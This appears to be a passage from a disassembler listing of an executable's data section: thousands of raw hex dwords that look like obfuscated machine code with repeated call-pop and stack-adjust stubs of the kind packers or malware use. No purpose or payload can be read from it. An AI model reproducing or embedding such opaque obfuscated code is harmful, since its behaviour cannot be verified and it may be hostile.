		dd 0C3514100h, 0C97CC52Eh, 0BA73C413h, 0D98B6653h, 0CBF665Fh
		dd 0CEE38182h, 0FF7B0111h, 71B9195h, 6E906h, 0F1690000h
		dd 0E2DC9B26h, 6985C761h, 3060700h, 0E9000000h,	0Fh, 0F64F42D6h
		dd 0D77F8448h, 0B40E39B6h, 0E9F3CFE7h, 0Bh, 0DC26287Dh
		dd 547AA39Fh, 833E6714h, 0AB372BDh, 840F0006h, 2Ch, 0FEB868BBh
		dd 3DE97Dh, 6A0000h, 3E853h, 5B200000h,	5C895BC3h, 44810424h
		dd 140424h, 53430000h, 9D8BE9C3h, 60716D5h, 110C3050h
		dd 1114400h, 3010E8C1h,	21144h,	5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 89C08B00h, 72AE5B5h
		dd 0DABF0F06h, 69BD83h,	0F030607h, 33185h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h
		dd 0DA8B66A2h, 0B372BD83h, 0F00060Ah, 30584h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 0D4D7ADAAh, 6830F4Dh, 1000000h, 704AD95h, 72B5FF06h
		dd 31060AB3h, 723F985h,	4595FF06h, 6A060715h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 9A5BC350h, 2AC0D8BFh, 39BF667Ah, 66B58B8Bh, 6A060AB3h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 0BDE5C352h, 0DE8B5A1Eh, 106C7h, 0DE8B0001h
		dd 98A0F50h, 0F000000h,	381h, 0DF8B6600h, 6A243489h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 0B297C351h, 0E33704BAh, 6ABB666Bh, 72B5FF34h, 6A060AB3h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 0F35C353h, 263FBC8Bh, 2A25BD89h, 81660607h
		dd 0FFB6CBC3h, 7091195h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1604h, 0C3534300h, 8B61211Dh, 0AB366B5h
		dd 8BF88B06h, 72CC985h,	81858906h, 8906070Ch, 0C486h, 8BD9B700h
		dd 71B4195h, 48C0F06h, 66000000h, 83737DBBh, 0BF6604C2h
		dd 50899DB9h, 66BF6620h, 0D1B589E2h, 8D060719h,	0AC7ED85h
		dd 71BD3306h, 89060730h, 0B886h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 81C67561h
		dd 6A519A52h, 81858900h, 0FF06071Ch, 0AB372B5h,	6FEF8106h
		dd 0FF5890A8h, 729FD95h, 2ABB9606h, 5015C54Ch, 0A5C4E6BFh
		dd 0BD8B963Ah, 6071EADh, 0B372B5FFh, 0B70F060Ah, 0A595FFF9h
		dd 0F06071Ah, 0BD83FEBFh, 60708ADh, 3B840F00h, 31000000h
		dd 7094DB5h, 0FDBB5006h, 890E8E97h, 6A2434h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 272A4FC3h
		dd 0E7812F5Fh, 6EC8C7E7h, 2EB1BD8Bh, 0B5FF0607h, 60AB372h
		dd 260595FFh, 81660607h, 0FFEEB8EFh, 0AB372B5h,	51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 0DA3EB89Dh, 0E381668Ch, 95FF4828h, 6071DF1h,	1CC19589h
		dd 0BD830607h, 60703B1h, 84840F02h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 0C503C355h, 7DCAE7Fh, 8BE6541Ch, 709599Dh, 49858B06h
		dd 6A060707h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 0F145C353h, 74BD6BCAh,	0C8E845B4h
		dd 9958D31h, 0C60607h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 0A26718BAh, 31958991h, 0C7060733h, 70F4985h
		dd 6, 4775BB00h, 0A6E903E1h, 6AFFFFF4h,	3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 0C352C353h
		dd 0DCD5784Bh, 0FC7F1994h, 89B7C18Bh, 3840Fh, 0B70F0000h
		dd 19858DFFh, 0BF06071Fh, 70CF0A76h, 819D8B53h,	5B06070Bh
		dd 50606050h, 810F5Ah, 61000000h, 0BF665250h, 310FE298h
		dd 310F5250h, 585A585Ah, 24048961h, 17A9BD8Bh, 8B660607h
		dd 66006ADEh, 6AD98Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 19h, 4C35646h, 1C6E242Eh, 619D330Dh, 8D06072Fh
		dd 0B8DF685h, 5C08306h,	18C5BD8Bh, 60900607h, 5061D68Bh
		dd 54CCBF66h, 51006A90h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1C04h, 0C3514100h, 0A395E868h, 0C80006E8h, 27BB6631h
		dd 6A006AB5h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 16042444h, 43000000h, 4E8DC353h, 2D85899Fh, 6A060712h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1A04h
		dd 0C3524200h, 0D96E8B71h, 6676E494h, 95FFFE8Bh, 6071BCDh
		dd 8E8h, 1AC9B500h, 4FAA0E77h, 5FBBB34Eh, 0A5B78D8Dh, 6A060Ah
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 0A090FC3h, 879237ADh, 0FF9A6890h, 56006AD1h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 6BA8B6B4h
		dd 0F6DBD89h, 8F0F0607h, 2, 0BD833DB3h,	6071995h, 84850F01h
		dd 0F8000000h, 6A026Ah,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 904B7DC3h, 52505250h, 13E8310Fh
		dd 0F5000000h, 0D7B95Eh, 62ED2FB3h, 99F22C67h, 0D505F32Fh
		dd 5A5F61A7h, 5A310F58h, 52505058h, 5751BF56h, 0F5F7052h
		dd 5AD88B31h, 6A9058h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 0CA855FC3h, 6D9589A7h, 0FF060707h
		dd 729FD95h, 0E95FB706h, 0F1Bh,	0E8h, 0ED815D00h, 60B8E00h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 88C35747h
		dd 6A6AA4C1h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 5EB9C355h, 0F50E2815h,	910A858Dh
		dd 6A060Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 6672F1C3h, 502BA1BFh, 89240489h, 72145B5h
		dd 35FF6406h, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0F2C35141h
		dd 0F4E05C2Bh, 3A6DBD8h, 64D9BF0Fh, 2589h, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 810F3CC3h, 6, 32ED9529h, 85FF0607h, 6070FA5h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0E1C35242h, 0BBCB65DAh
		dd 333B535Fh, 72C4DBDh,	6AFF6A06h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 739EC355h
		dd 0B22F5274h, 0FF926EA2h, 73041B5h, 4DBD2B06h,	0FF06072Dh
		dd 7303595h, 100E906h, 9D8B0000h, 6072B5Dh, 0B70F00B0h
		dd 8970E6FEh, 721D1BDh,	0FC71E406h, 0F997BF66h,	830F613Ch
		dd 0DEh, 25ADBD8Bh, 0B60F0607h,	0BD9D8BC8h, 0BA060732h
		dd 6, 10E8h, 0B9B18D00h, 0FC75F730h, 2E55EDC8h,	6E88082Bh
		dd 10E978h, 15AB0000h, 7D69B573h, 0E2F3B641h, 368F934Ch
		dd 8B5F57D2h, 0C1BD8BC1h, 0C1060729h, 66F504E8h, 9529E2F7h
		dd 6072F6Dh, 850FC82Bh,	6, 1E2D9D8Bh, 0D18B0607h, 96FBF66h
		dd 6E9h, 0F98D0900h, 8B060721h,	7110185h, 65C38006h, 0F07C083h
		dd 0C87h, 6860F00h, 8B000000h, 722E9BDh, 7E906h, 4F990000h
		dd 529DACC7h, 0C0831Eh,	3BF88B66h, 0B830FD0h, 29000000h
		dd 721E585h, 28E906h, 8D8B0000h, 6071D85h, 834AC380h, 840F01E1h
		dd 16h,	1D85A583h, 80FE0607h, 95899EC3h, 6071101h, 0E9F5h
		dd 0B58D0000h, 60B0DC1h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 80C35646h, 518F4481h,	0BD011EAEh, 6072611h
		dd 0BE960h, 75370000h, 1800B63Ch, 0D129D9CDh, 12E952h
		dd 0EEF60000h, 0DF88DF4Ch, 12969294h, 36DF1AA1h, 2CA5E262h
		dd 8B006A61h, 71DED9Dh,	195FF06h, 6A060732h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 0FAA4C351h, 545A0F9Eh, 0BD8B65B4h, 6072E95h,	84DB9h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 23102EF8h, 718E59Dh, 45BD8B06h, 8306072Ch
		dd 6AFCE1h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 9E5B5FC3h, 663AB7BEh, 6B06F381h, 26DD8D89h
		dd 6AFC0607h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 76D4C353h, 0B143BFE1h,	0FF2A397h
		dd 0DA8BDAB7h, 9D8BC02Bh, 6070B15h, 0BAh, 0C233AD00h, 0D003E8D1h
		dd 7504E983h, 0ADEF80F4h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 0E6C35646h, 0FDB91486h, 92A510A3h, 0D8CB7DDh
		dd 88h,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h
		dd 0F6C35040h, 29BD093Ch, 8B060731h, 71B4195h, 0F5BD2306h
		dd 8B06071Eh, 706058Dh,	359D8B06h, 50060731h, 188BC28Bh
		dd 188BC103h, 0E8D1C18Bh, 188BC203h, 6ADE8B58h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 0DD34C350h, 4B1EFCC3h, 0B2234DD5h, 0BD83E7B3h, 6070BD1h
		dd 45840F00h, 0B8000000h, 0
		dd 13E8h, 44CCDB00h, 0F9FA91E8h, 84417B8Ch, 3B545F66h
		dd 5F021721h, 0BE8h, 0C42D2300h, 653726E5h, 0B85B71C6h
		dd 5BDF8B66h, 0B48D8D5Fh, 8B06074Dh, 70705BDh, 0BFE1FF06h
		dd 98162Ch, 69BD83h, 0F000607h,	4EC84h,	52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
		dd 99B05934h, 0F653AC1Dh, 0B58960F8h, 6072F1Dh,	0F1816651h
		dd 615B754Ch, 69BD83h, 0F010607h, 4C784h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
		dd 0BB8CB9A5h, 8E8FFEEh, 0D000000h, 5A401018h, 0FE5ACCFh
		dd 38Ah, 0FAB70F00h, 12E8605Fh,	0F3000000h, 6C4490B3h
		dd 9C8C6CA1h, 4375CC1Ah, 916D0FA7h, 959D8985h, 5806071Ch
		dd 1255958Bh, 83610607h, 70069BDh, 860F0306h, 426h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 67C35141h, 0FE8B88B8h
		dd 52006A60h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 898FD374h, 70025B5h, 559D2906h, 6606071Dh
		dd 8509D98Ch, 6070B15h,	6A04E180h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 77BFC355h
		dd 6653EA1Dh, 5B9AF4BFh, 2870Fh, 0F88B0000h, 840FC90Ah
		dd 18Fh, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	98C35747h, 0BADA3444h, 0F08DC89Ch, 29958934h, 0E8060716h
		dd 0Bh,	805087D2h, 64434405h, 8B0A7005h, 701299Dh, 858B5B06h
		dd 607306Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ah,	0ECC35343h, 26BFDEE5h, 29573D89h, 72C85BDh, 85335B06h
		dd 6073305h, 0DE8h, 8513B800h, 0C0CFBE66h, 8B66B8B5h, 9D8B83E5h
		dd 60717B5h, 8D0F905Bh,	0
aPVrj		db 'Pvj',0
		dw 0E857h
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 44C35747h, 6AC61C39h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1D04h
		dd 0C3564600h, 0A7A677A2h, 326F23F8h, 0BF66CBB4h, 9068FC2Ah
		dd 66EA7C88h, 811BE3BFh, 7B6F2404h, 6A15A2h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 846494C3h
		dd 0DE95Bh, 2DA80000h, 0EFAFEE6Bh, 30EAA87Fh, 539D1CDEh
		dd 5F5DF780h, 0B09BD33h, 95FF0607h, 6071B91h, 0DB0FFBBBh
		dd 72858950h, 6A060AB3h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 0E9DBC357h,	195h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0E2C35040h, 0A8D454BAh
		dd 115C8A69h, 1BD89B4h,	8B060716h, 0AB36A85h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1504h, 0C3524200h
		dd 0BD8BD31Fh, 6071695h, 1800C7h, 81660000h, 8B3F35E3h
		dd 0AB36EB5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1804h, 0C3524200h, 326E97Ah,	358D89B1h, 8B060726h, 7157985h
		dd 0A99D0106h, 89060731h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 2AD40E99h
		dd 8719CC7Eh, 9509F5A1h, 607299Dh, 306D858Bh, 8D0F0607h
		dd 1Ah,	148F0Fh, 0FE90000h, 53000000h, 62011884h, 4AF89873h
		dd 39D258EEh, 468963A2h, 0E996F504h, 0Fh, 71B8566h, 0AFBA1D5h
		dd 0ADD2517h, 50E12A39h, 6880Fh, 66500000h, 5B7515BFh
		dd 56006A96h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 0B5FF0F39h, 60AB36Ah, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 49C35343h, 8BD3B033h, 68F0B7D0h
		dd 0F12CB573h, 0E40537BBh, 24048127h, 0EF24E8Ch, 0BA99D2Bh
		dd 858D0607h, 60AB372h,	0B0BC76BBh, 0C1BD3121h,	5006072Eh
		dd 1240489h, 73059B5h, 9195FF06h, 8B06071Bh, 73359BDh
		dd 6A6106h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 813DD8C3h, 12E9h,	25FD7300h, 0E644128Bh
		dd 0D70167CDh, 7BFE3558h, 0C7537E3Bh, 7006985h,	306h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 0A919802h, 8321EE45h, 0AB372BDh, 840F0006h, 32h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 77C35545h, 6816164Ch
		dd 9D238AD0h, 6071525h,	20E9h, 0FCFEBB00h, 30506950h, 4400110Ch
		dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
		dd 4305036h, 11640011h,	10E8C101h, 2114430h, 3116400h
		dd 4E98358h, 1BEBE775h,	10E8C150h, 3116428h, 2114430h
		dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 51006AC0h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 371A097Fh, 7ED77729h, 11E9D7h, 3AC60000h, 39C93282h
		dd 0AB0340AFh, 0FB0EF61Dh, 832B6D59h, 70069BDh,	850F0306h
		dd 4C2h, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 14h,	0DDC35141h, 0B372BD83h,	0F00060Ah, 49984h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 0DD47C457h, 9D2919E4h, 6072129h, 0B372B5FFh,	8153060Ah
		dd 0AC0D3AF3h, 95FF5F6Eh, 6071545h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 20C35242h, 1850Fh, 66F80000h
		dd 0B58BDA8Bh, 60AB366h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 15h, 5EC35646h, 0CE9D1h, 0A4C70000h, 13FE9D60h
		dd 0FA53B0B3h, 6C76453h, 10001h, 0F50DD8Ah, 380h, 0DA8B6600h
		dd 0F243489h, 1681h, 11E900h, 220A0000h, 110F9B47h, 0CEA78C85h
		dd 12FD0EA0h, 0FF902B56h, 0AB372B5h, 52006A06h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 8B733CE0h
		dd 72BD99Dh, 1195FF06h,	6A060709h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 9ADC355h
		dd 70C7585h, 0FDBD8B06h, 8B060705h, 0AB366B5h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 3EB8ABEh, 0BF6B5CA4h, 2CC9858Bh, 6A0607h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 0F6071C3h
		dd 58Ch, 0EE816600h, 0B589A765h, 6073351h, 0DF8B6661h
		dd 0C48689h, 8B660000h,	0AD9D8BD9h, 8B060725h, 71B4195h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 0C283F618h, 51006A04h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 0B1BF6730h
		dd 8903206Bh, 6A2050h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 140424h, 53430000h, 0BD0302C3h, 6070621h, 1265B589h
		dd 858D0607h, 60AC7EDh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 0B5C35747h, 285D7AC2h, 6B04006h, 8E8F5h
		dd 0D2740000h, 6A36571Dh, 820F136Fh, 5,	0F2B078BFh, 86895B29h
		dd 0B8h, 0B775B060h, 6A61F8h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 14h, 77C35343h, 0B372B5FFh, 0BF0F060Ah
		dd 0FD95FFF8h, 6A060729h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 0D246C350h,	70CD39C7h
		dd 1DD4A7C2h, 81DAB70Fh, 18CCF7EBh, 0BF665002h,	3489228Eh
		dd 0EE924h, 1E750000h, 274B6002h, 587A4F16h, 72A17A3Eh
		dd 0B372B5FFh, 8B52060Ah, 70A5DBDh, 95FF5F06h, 6071AA5h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 4DC35646h
		dd 55C02F10h, 8ADBD83h,	0F000607h, 3484h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h
		dd 0CC9D0E80h, 6F6C4AC6h, 0BB505A85h, 27AFE4A8h, 89243489h
		dd 72D019Dh, 72B5FF06h,	6A060AB3h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0BDC8C350h
		dd 89FD2F43h, 0FC13D27Ah, 260595FFh, 6A0607h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 893699C3h
		dd 723A1B5h, 518D8906h,	0FC06072Dh, 0B372B5FFh,	6A060Ah
		db 52h,	0E8h
word_584F4E	dw 3			; DATA XREF: ___:00436804o
		dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 98C78BC3h, 0FF9AE780h, 71DF195h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 0A094A59Ah
		dd 0AE994h, 0FADD0000h,	8138DBDh, 0F7CBD160h, 148D0Fh
		dd 0FE90000h, 35000000h, 8134C1F8h, 0DAFBD1B0h,	9054F27h
		dd 0BD83F500h, 60703B1h, 4D840F02h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 20BBC352h, 6C841723h, 601BD5E1h, 31518D8Bh, 9D890607h
		dd 60719F9h, 49858B61h,	0B7060707h, 0C6F7h, 2ECDB960h
		dd 858912DAh, 60732D1h,	41EF8061h, 0F4985C7h, 607h, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 0B3FB58C3h, 61B58938h, 6606072Ah, 5EE9FB8Bh,	6AFFFFF2h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 50D8C352h, 5FFE31EBh, 1F2BB3BCh, 9E8h, 0E7CAC500h
		dd 3E006C75h, 8B0FEFD2h, 4, 1F29BB66h, 6AC18B5Fh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 5D27C352h, 0B04E0433h, 0F2C82E4h, 686h, 619D8B00h, 8D06070Ah
		dd 71F1985h, 0FE8A9006h, 890F9050h, 6, 8FDBD8Bh, 6A0607h
		dd 31006AF9h, 72FFDB5h,	0C2858D06h, 80060B9Eh, 61BB5AE3h
		dd 830DD02Fh, 6A05C0h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 8AFAF8C3h, 0BB66960Fh, 0F3810189h
		dd 64CF5AD4h, 50D88B90h, 0BB21BB66h, 14E890h, 2AF70000h
		dd 7AEFC43Fh, 9B9ABCF8h, 9E2DED10h, 41BCD5D8h, 85313EC7h
		dd 60718FDh, 6A006A5Bh,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 0DE53C353h,	1999E45Dh
		dd 29AA83CAh, 70A818Dh,	6A006A06h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 0C3C353h
		dd 0E99386EFh, 0C897A0CDh, 1BCD95FFh, 6A0607h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 81DFDBC3h, 399D8929h, 8D06070Ch, 0AA5B78Dh, 0FFFE8B06h
		dd 52006AD1h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 60FB0751h, 38F0F8Ah, 80000000h, 0BD8323CBh
		dd 6071995h, 68850F01h,	0E8000000h, 6, 0F835DAD1h, 858934C1h
		dd 607302Dh, 0F026A5Fh,	0B160FBBFh, 999523D1h, 61060731h
		dd 24BB6650h, 24048908h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 14h, 0DEC35646h, 29FD95FFh, 6A0607h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 0E99300C3h, 0E12h, 0E8h, 0ED815D00h,	60B9ECCh, 2D15C781h
		dd 6A00D1h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 75E7CAC3h, 0D23E006Ch, 0E9BD8BEFh, 8D060725h
		dd 0A910A85h, 0B350F906h, 24048973h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 15h, 15C35242h, 35FF644Bh, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0F0C35343h
		dd 0FF221291h, 258964h,	0FF000000h, 70FA585h, 8D295306h
		dd 60720CDh, 0A1BD8B5Fh, 6A060700h, 6820FFFh, 81000000h
		dd 0F32A2FF3h, 21B5FF08h, 0F06072Bh, 38Dh, 0F98B6600h
		dd 303595FFh, 27E90607h, 0B7000001h, 81B589D9h,	0B006072Ah
		dd 2860F00h, 0B7000000h, 8970E683h, 700E9B5h, 95DB8106h
		dd 0E4341052h, 99D8971h, 3C06072Dh, 0F7830F61h,	8B000000h
		dd 711619Dh, 0C8B60F06h, 3115BD8Bh, 6BA0607h, 66000000h
		dd 2877DB81h, 0F88BC18Bh, 6604E8C1h, 63ED781h, 89E2F766h
		dd 704B9B5h, 7FCB8006h,	9D8BC82Bh, 6070619h, 14E8D18Bh
		dd 17000000h, 0F687D890h, 1D5A7E10h, 3C70C6Fh, 5094D5E0h
		dd 31FC61D7h, 7047195h,	1E95B06h, 0F8000000h, 8C9858Bh
		dd 9D890607h, 60723D9h,	8907C083h, 707D99Dh, 0C08306h
		dd 3BFB8B66h, 1F830FD0h, 89000000h, 733558Dh, 68E906h
		dd 0F600000h, 68Eh, 0F9B58B00h,	8906071Eh, 70AB1BDh, 8D8B6106h
		dd 6070941h, 6870Fh, 95890000h,	6072379h, 0F01E183h, 3984h
		dd 41A58300h, 0FE060709h, 0F4DBD2Bh, 95890607h,	60708C9h
		dd 1BD8960h, 8B060722h,	71B099Dh, 0F606106h, 58Ch, 3227B800h
		dd 0B58B4536h, 60718A9h, 0E961h, 0B58D0000h, 60B17D3h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 23C35040h
		dd 0A252B9F3h, 0E8DE8B66h, 13h,	41EF1119h, 0FE796F30h
		dd 43212FD7h, 51D260B3h, 89AE947Bh, 71D918Dh, 6A5F06h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 1DC35141h
		dd 320195FFh, 860F0607h, 1Fh, 14E8h, 0EE4D2E00h, 152DDA59h
		dd 0F68451C5h, 5A2D11E7h, 2BA5FB6Ah, 7D3BF39h, 0B95F57FAh
		dd 97Dh, 28B0Fh, 0EEB70000h, 6AFCE183h,	3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 8957C356h
		dd 603B1CFCh, 5618533h,	0C78B0607h, 5D9D3361h, 0FC060703h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 76C35545h
		dd 2FDDBD03h, 0B80607h,	3000000h, 71FA59Dh, 0DB816606h
		dd 0D22BA82Bh, 14E9h, 65404100h, 1B341339h, 75E06334h
		dd 0DA76AFFFh, 0AC3406D4h, 12E998h, 0A7DE0000h,	17879F20h
		dd 0CE775A18h, 0DC1C0FF0h, 0EBE3B72Dh, 0D1C233ADh, 83D003E8h
		dd 0F47504E9h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 19h,	78C35040h, 0F3992E73h, 0EE8CFh,	26AE0000h, 2805CC4Ah
		dd 138B04DEh, 3CB55C8Eh, 2FF58589h, 0E95F0607h,	0Fh, 6316F3AAh
		dd 0C5891E8Ah, 28C46ADDh, 6A437267h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 57C5C353h
		dd 89708CBBh, 820F5B6Fh, 15h, 9E8h, 4650FD00h, 46196DC7h
		dd 8D898B0Eh, 6070699h,	880D5Bh, 81660000h, 8BD8BBDBh
		dd 71B4195h, 55006A06h,	3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1704h, 0C3554500h, 66750115h, 1F219D31h, 86BF0607h
		dd 8B00E1F2h, 706058Dh,	53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 0CA0391C3h, 5858955h
		dd 29060722h, 71E0D85h,	0C28B5006h, 0C103188Bh,	0C18B188Bh
		dd 0C203E8D1h, 8958188Bh, 7166995h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 0DCB1668Eh
		dd 0BD835790h, 6070BD1h, 4A840F00h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 0C157C352h, 1BD0199h, 0F060727h, 28Bh, 0B8F98B00h, 0
		dd 94CB8166h, 0B48D8DFBh, 906074Dh, 732059Dh, 89E1FF06h
		dd 7077D85h, 69BD8306h,	60700h,	45C840Fh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 518D3BC3h, 0D74FA99Ch, 83DE8B66h, 70069BDh, 840F0106h
		dd 445h, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 1Dh,	0CBC35242h, 3B535FBBh, 8F6331D6h, 0F98B6686h, 69BD83h
		dd 0F030607h, 3DA86h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
